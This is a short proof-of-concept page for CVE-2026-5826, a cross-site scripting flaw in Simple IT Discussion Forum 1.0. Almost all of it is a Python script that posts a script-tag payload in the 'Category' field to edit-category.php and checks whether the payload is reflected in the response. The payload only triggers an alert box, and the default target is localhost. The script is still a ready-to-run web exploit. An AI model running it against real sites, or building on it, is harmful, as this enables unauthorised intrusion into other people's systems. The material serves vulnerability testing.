CVE-2026-5826 Simple IT Discussion Forum XSS漏洞

# PoC for CVE-2026-5826 # Simple IT Discussion Forum 1.0 - Stored/Reflected XSS via Category Parameter import requests def check_xss(target_url): # Malicious payload to test script execution xss_payload = "<script>alert('CVE-2026-5826_PoC');</script>" # Target endpoint vulnerable to XSS endpoint = f"{target_url}/edit-category.php" # Data payload targeting the vulnerable 'Category' argument post_data = { "Category": xss_payload } try: # Sending the malicious request response = requests.post(endpoint, data=post_data, timeout=10) # Check if the payload is reflected in the response (Reflected XSS) # Note: For Stored XSS, an admin panel visit would be required subsequently. if xss_payload in response.text: print("[+] Vulnerability Confirmed: XSS payload found in response.") print(f"[+] Target: {endpoint}") return True else: print("[-] Vulnerability not detected or payload filtered.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1" check_xss(target)